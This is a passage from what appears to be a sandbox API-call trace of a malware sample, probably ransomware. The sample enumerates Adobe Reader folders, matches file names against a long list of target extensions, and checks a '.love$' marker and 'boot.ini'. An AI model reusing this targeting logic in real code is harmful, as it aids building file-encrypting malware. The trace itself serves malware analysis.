(lpString1=".bmp", lpString2="s.js") returned -1 [0273.113] lstrlenW (lpString=".bz2") returned 4 [0273.113] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.113] lstrlenW (lpString=".c") returned 2 [0273.113] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.113] lstrlenW (lpString=".cdr") returned 4 [0273.113] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.113] lstrlenW (lpString=".cer") returned 4 [0273.113] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.113] lstrlenW (lpString=".cf") returned 3 [0273.113] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.113] lstrlenW (lpString=".cfc") returned 4 [0273.113] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.113] lstrlenW (lpString=".cfm") returned 4 [0273.113] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.113] lstrlenW (lpString=".cfml") returned 5 [0273.113] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.113] lstrlenW (lpString=".cfu") returned 4 [0273.113] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.113] lstrlenW (lpString=".chm") returned 4 [0273.113] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.113] lstrlenW (lpString=".cin") returned 4 [0273.113] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.113] lstrlenW (lpString=".class") returned 6 [0273.113] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.113] lstrlenW (lpString=".clx") returned 4 [0273.114] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".config") returned 7 [0273.114] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.114] lstrlenW (lpString=".cpp") returned 4 [0273.114] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".cr2") returned 4 [0273.114] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".crt") returned 4 [0273.114] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".crw") returned 4 [0273.114] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".cs") returned 3 [0273.114] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.114] lstrlenW (lpString=".css") returned 4 [0273.114] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".csv") returned 4 [0273.114] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".cub") returned 4 [0273.114] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".dae") returned 4 [0273.114] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".dat") returned 4 [0273.114] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".db") returned 3 [0273.114] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.114] lstrlenW (lpString=".dbf") returned 4 [0273.114] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".dbx") returned 4 [0273.114] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.114] lstrlenW (lpString=".dc3") returned 4 [0273.115] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.115] lstrlenW (lpString=".dcm") returned 4 [0273.115] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.115] lstrlenW (lpString=".dcr") returned 4 [0273.115] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.115] lstrlenW (lpString=".der") returned 4 [0273.115] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.115] lstrlenW (lpString=".dib") returned 4 [0273.115] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.115] lstrlenW (lpString=".dic") returned 4 [0273.115] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.115] lstrlenW (lpString=".dif") returned 4 [0273.115] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.115] lstrlenW (lpString=".divx") returned 5 [0273.115] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.115] lstrlenW (lpString=".djvu") returned 5 [0273.115] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.115] lstrlenW (lpString=".dng") returned 4 [0273.115] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.115] lstrlenW (lpString=".doc") returned 4 [0273.115] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.115] lstrlenW (lpString=".docm") returned 5 [0273.115] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.115] lstrlenW (lpString=".docx") returned 5 [0273.115] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.115] lstrlenW (lpString=".dot") returned 4 [0273.115] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.115] lstrlenW (lpString=".dotm") returned 5 [0273.115] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.115] lstrlenW (lpString=".dotx") returned 5 [0273.116] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.116] lstrlenW (lpString=".dpx") returned 4 [0273.116] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".dqy") returned 4 [0273.116] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".dsn") returned 4 [0273.116] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".dt") returned 3 [0273.116] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.116] lstrlenW (lpString=".dtd") returned 4 [0273.116] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".dwg") returned 4 [0273.116] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".dwt") returned 4 [0273.116] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".dx") returned 3 [0273.116] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.116] lstrlenW (lpString=".dxf") returned 4 [0273.116] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".edml") returned 5 [0273.116] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.116] lstrlenW (lpString=".efd") returned 4 [0273.116] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".elf") returned 4 [0273.116] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".emf") returned 4 [0273.116] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".emz") returned 4 [0273.116] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".epf") returned 4 [0273.116] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.116] lstrlenW (lpString=".eps") returned 4 [0273.117] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.117] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.117] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0273.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0273.117] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0273.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0273.117] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl") returned 119 [0273.117] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0273.118] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.118] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.118] lstrlenW (lpString="ui-strings.js") returned 13 [0273.118] lstrlenW (lpString=".1cd") returned 4 [0273.118] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.118] lstrlenW (lpString=".3ds") returned 4 [0273.118] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.118] lstrlenW (lpString=".3fr") returned 4 [0273.118] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.118] lstrlenW (lpString=".3g2") returned 4 [0273.118] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.118] lstrlenW (lpString=".3gp") returned 4 [0273.118] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.118] lstrlenW (lpString=".7z") returned 3 [0273.118] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.118] lstrlenW (lpString=".accda") returned 6 [0273.118] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.118] lstrlenW (lpString=".accdb") returned 6 [0273.118] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.118] lstrlenW (lpString=".accdc") returned 6 [0273.118] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.118] lstrlenW (lpString=".accde") returned 6 [0273.119] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.119] lstrlenW (lpString=".accdt") returned 6 [0273.119] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.119] lstrlenW (lpString=".accdw") returned 6 [0273.119] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.119] lstrlenW (lpString=".adb") returned 4 [0273.119] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.119] lstrlenW (lpString=".adp") returned 4 [0273.119] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.119] lstrlenW (lpString=".ai") returned 3 [0273.119] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.119] lstrlenW (lpString=".ai3") returned 4 [0273.119] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.119] lstrlenW (lpString=".ai4") returned 4 [0273.119] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.119] lstrlenW (lpString=".ai5") returned 4 [0273.119] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.119] lstrlenW (lpString=".ai6") returned 4 [0273.119] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.119] lstrlenW (lpString=".ai7") returned 4 [0273.119] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.119] lstrlenW (lpString=".ai8") returned 4 [0273.119] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.119] lstrlenW (lpString=".anim") returned 5 [0273.119] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.119] lstrlenW (lpString=".arw") returned 4 [0273.119] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.119] lstrlenW (lpString=".as") returned 3 [0273.120] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.120] lstrlenW (lpString=".asa") returned 4 [0273.120] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.120] lstrlenW (lpString=".asc") returned 4 [0273.120] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.120] lstrlenW (lpString=".ascx") returned 5 [0273.120] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.120] lstrlenW (lpString=".asm") returned 4 [0273.120] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.120] lstrlenW (lpString=".asmx") returned 5 [0273.120] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.120] lstrlenW (lpString=".asp") returned 4 [0273.120] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.120] lstrlenW (lpString=".aspx") returned 5 [0273.120] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.120] lstrlenW (lpString=".asr") returned 4 [0273.120] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.120] lstrlenW (lpString=".asx") returned 4 [0273.120] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.120] lstrlenW (lpString=".avi") returned 4 [0273.120] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.120] lstrlenW (lpString=".avs") returned 4 [0273.120] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.120] lstrlenW (lpString=".backup") returned 7 [0273.120] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.120] lstrlenW (lpString=".bak") returned 4 [0273.120] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.120] lstrlenW (lpString=".bay") returned 4 [0273.120] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.120] lstrlenW (lpString=".bd") returned 3 [0273.120] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.121] lstrlenW (lpString=".bin") returned 4 [0273.121] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.121] lstrlenW (lpString=".bmp") returned 4 [0273.121] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.121] lstrlenW (lpString=".bz2") returned 4 [0273.121] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.121] lstrlenW (lpString=".c") returned 2 [0273.121] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.121] lstrlenW (lpString=".cdr") returned 4 [0273.121] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.121] lstrlenW (lpString=".cer") returned 4 [0273.121] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.121] lstrlenW (lpString=".cf") returned 3 [0273.121] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.121] lstrlenW (lpString=".cfc") returned 4 [0273.121] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.121] lstrlenW (lpString=".cfm") returned 4 [0273.121] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.121] lstrlenW (lpString=".cfml") returned 5 [0273.121] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.121] lstrlenW (lpString=".cfu") returned 4 [0273.121] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.121] lstrlenW (lpString=".chm") returned 4 [0273.121] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.121] lstrlenW (lpString=".cin") returned 4 [0273.121] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.121] lstrlenW (lpString=".class") returned 6 [0273.121] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.121] lstrlenW (lpString=".clx") returned 4 [0273.121] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.121] lstrlenW (lpString=".config") returned 7 [0273.122] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.122] lstrlenW (lpString=".cpp") returned 4 [0273.122] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".cr2") returned 4 [0273.122] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".crt") returned 4 [0273.122] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".crw") returned 4 [0273.122] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".cs") returned 3 [0273.122] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.122] lstrlenW (lpString=".css") returned 4 [0273.122] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".csv") returned 4 [0273.122] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".cub") returned 4 [0273.122] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".dae") returned 4 [0273.122] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".dat") returned 4 [0273.122] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".db") returned 3 [0273.122] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.122] lstrlenW (lpString=".dbf") returned 4 [0273.122] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".dbx") returned 4 [0273.122] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".dc3") returned 4 [0273.122] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.122] lstrlenW (lpString=".dcm") returned 4 [0273.123] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.123] lstrlenW (lpString=".dcr") returned 4 [0273.123] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.123] lstrlenW (lpString=".der") returned 4 [0273.123] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.123] lstrlenW (lpString=".dib") returned 4 [0273.123] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.123] lstrlenW (lpString=".dic") returned 4 [0273.123] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.123] lstrlenW (lpString=".dif") returned 4 [0273.123] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.123] lstrlenW (lpString=".divx") returned 5 [0273.123] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.123] lstrlenW (lpString=".djvu") returned 5 [0273.123] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.123] lstrlenW (lpString=".dng") returned 4 [0273.123] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.123] lstrlenW (lpString=".doc") returned 4 [0273.296] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.296] lstrlenW (lpString=".docm") returned 5 [0273.296] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.296] lstrlenW (lpString=".docx") returned 5 [0273.296] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.300] lstrlenW (lpString=".dot") returned 4 [0273.300] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.300] lstrlenW (lpString=".dotm") returned 5 [0273.301] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.301] lstrlenW (lpString=".dotx") returned 5 [0273.301] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.301] lstrlenW (lpString=".dpx") returned 4 [0273.321] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.321] lstrlenW (lpString=".dqy") returned 4 [0273.321] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.321] lstrlenW (lpString=".dsn") returned 4 [0273.321] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.321] lstrlenW (lpString=".dt") returned 3 [0273.321] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.321] lstrlenW (lpString=".dtd") returned 4 [0273.321] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.321] lstrlenW (lpString=".dwg") returned 4 [0273.321] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.321] lstrlenW (lpString=".dwt") returned 4 [0273.321] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.321] lstrlenW (lpString=".dx") returned 3 [0273.321] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.321] lstrlenW (lpString=".dxf") returned 4 [0273.321] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".edml") returned 5 [0273.322] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.322] lstrlenW (lpString=".efd") returned 4 [0273.322] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".elf") returned 4 [0273.322] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".emf") returned 4 [0273.322] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".emz") returned 4 [0273.322] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".epf") returned 4 [0273.322] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".eps") returned 4 [0273.322] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".epsf") returned 5 [0273.322] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0273.322] lstrlenW (lpString=".epsp") returned 5 [0273.322] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0273.322] lstrlenW (lpString=".erf") returned 4 [0273.322] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".exr") returned 4 [0273.322] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".f4v") returned 4 [0273.322] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".fido") returned 5 [0273.322] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0273.322] lstrlenW (lpString=".flm") returned 4 [0273.322] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".flv") returned 4 [0273.322] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0273.322] lstrlenW (lpString=".frm") returned 4 [0273.323] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0273.323] lstrlenW (lpString=".fxg") returned 4 [0273.323] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0273.323] lstrlenW (lpString=".geo") returned 4 [0273.323] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0273.323] lstrlenW (lpString=".gif") returned 4 [0273.323] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0273.323] lstrlenW (lpString=".grs") returned 4 [0273.323] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0273.323] lstrlenW (lpString=".gz") returned 3 [0273.323] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0273.323] lstrlenW (lpString=".h") returned 2 [0273.323] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0273.323] lstrlenW (lpString=".hdr") returned 4 [0273.323] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0273.323] lstrlenW (lpString=".hpp") returned 4 [0273.323] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0273.323] lstrlenW (lpString=".hta") returned 4 [0273.323] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0273.323] lstrlenW (lpString=".htc") returned 4 [0273.323] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0273.323] lstrlenW (lpString=".htm") returned 4 [0273.323] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0273.323] lstrlenW (lpString=".html") returned 5 [0273.323] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0273.323] lstrlenW (lpString=".icb") returned 4 [0273.323] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0273.323] lstrlenW (lpString=".ics") returned 4 [0273.323] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".iff") returned 4 [0273.324] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".inc") returned 4 [0273.324] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".indd") returned 5 [0273.324] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0273.324] lstrlenW (lpString=".ini") returned 4 [0273.324] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".iqy") returned 4 [0273.324] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".j2c") returned 4 [0273.324] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".j2k") returned 4 [0273.324] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".java") returned 5 [0273.324] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0273.324] lstrlenW (lpString=".jp2") returned 4 [0273.324] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".jpc") returned 4 [0273.324] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".jpe") returned 4 [0273.324] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".jpeg") returned 5 [0273.324] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0273.324] lstrlenW (lpString=".jpf") returned 4 [0273.324] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".jpg") returned 4 [0273.324] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".jpx") returned 4 [0273.324] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0273.324] lstrlenW (lpString=".js") returned 3 [0273.324] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0273.325] lstrlenW (lpString="ui-strings.js") returned 13 [0273.325] lstrlenW (lpString=".love$") returned 6 [0273.325] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0273.325] lstrlenW (lpString="ui-strings.js") returned 13 [0273.325] lstrcmpiW (lpString1="boot.ini", 